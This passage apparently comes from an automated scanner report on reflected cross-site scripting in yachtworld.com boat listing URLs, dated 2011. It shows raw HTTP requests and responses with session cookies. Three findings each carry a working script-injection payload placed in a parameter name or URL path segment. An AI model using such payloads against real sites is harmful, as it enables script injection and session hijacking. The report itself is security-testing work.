2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
3.100. http://www.yachtworld.com/boats/2004/Regulator-32-Fs-Center-Console-2305157/Wilmington/NC/United-States [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28dc4"><script>alert(1)</script>1263c813c97 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-Center-Console-2305157/Wilmington/NC/United-States?28dc4"><script>alert(1)</script>1263c813c97=1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:33 GMT Server: Apache Cache-Control: private If-Modified-Since: Wed, 26 Jan 2011 03:06:03 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:33 GMT Set-Cookie: VIEWED_BOATS_STORE=2305157%5B%25%5D32%27+Regulator+32+FS+Center+Console%5B%25%5DUSD%26nbsp%3B97%2C499%5B%25%5DWilmington%2C+NC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F3%2F0%2F5%2F1%2F2305157_10_mini.jpg%3F1296010692000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-Center-Console-2305157%2FWilmington%2FNC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37913"><script>alert(1)</script>074a64c253c was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-W--2006-250hp-Evinrude-E-tec-2152119/Fajardo37913"><script>alert(1)</script>074a64c253c/Puerto-Rico HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:20 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 14 Dec 2010 15:36:46 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2152119%5B%25%5D32%27+Regulator+32+FS+w%2F+2006+250hp+Evinrude+E-Tec%5B%25%5DUSD%26nbsp%3B109%2C500%5B%25%5DFajardo%2C+Puerto+Rico%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F5%2F2%2F1%2F2152119_20_mini.jpg%3F1292307497000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-w--2006-250hp-Evinrude-E-Tec-2152119%2FFajardo%2FPuerto-Rico%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:20 GMT Set-Cookie: VIEWED_BOATS_STORE=2152119%5B%25%5D32%27+Regulator+32+FS+w%2F+2006+250hp+Evinrude+E-Tec%5B%25%5DUSD%26nbsp%3B109%2C500%5B%25%5DFajardo%2C+Puerto+Rico%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F5%2F2%2F1%2F2152119_20_mini.jpg%3F1292307497000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-w--2006-250hp-Evinrude-E-Tec-2152119%2FFajardo%2FPuerto-Rico%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f752b"><script>alert(1)</script>40b5af5053c was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2004/Regulator-32-Fs-W--2006-250hp-Evinrude-E-tec-2152119/Fajardo/Puerto-Ricof752b"><script>alert(1)</script>40b5af5053c HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 21:17:13 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 14 Dec 2010 15:36:46 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2152119%5B%25%5D32%27+Regulator+32+FS+w%2F+2006+250hp+Evinrude+E-Tec%5B%25%5DUSD%26nbsp%3B109%2C500%5B%25%5DFajardo%2C+Puerto+Rico%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F5%2F2%2F1%2F2152119_20_mini.jpg%3F1292307497000%5B%25%5D%2Fboats%2F2004%2FRegulator-32-FS-w--2006-250hp-Evinrude-E-Tec-2152119%2FFajardo%2FPuerto-Rico%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%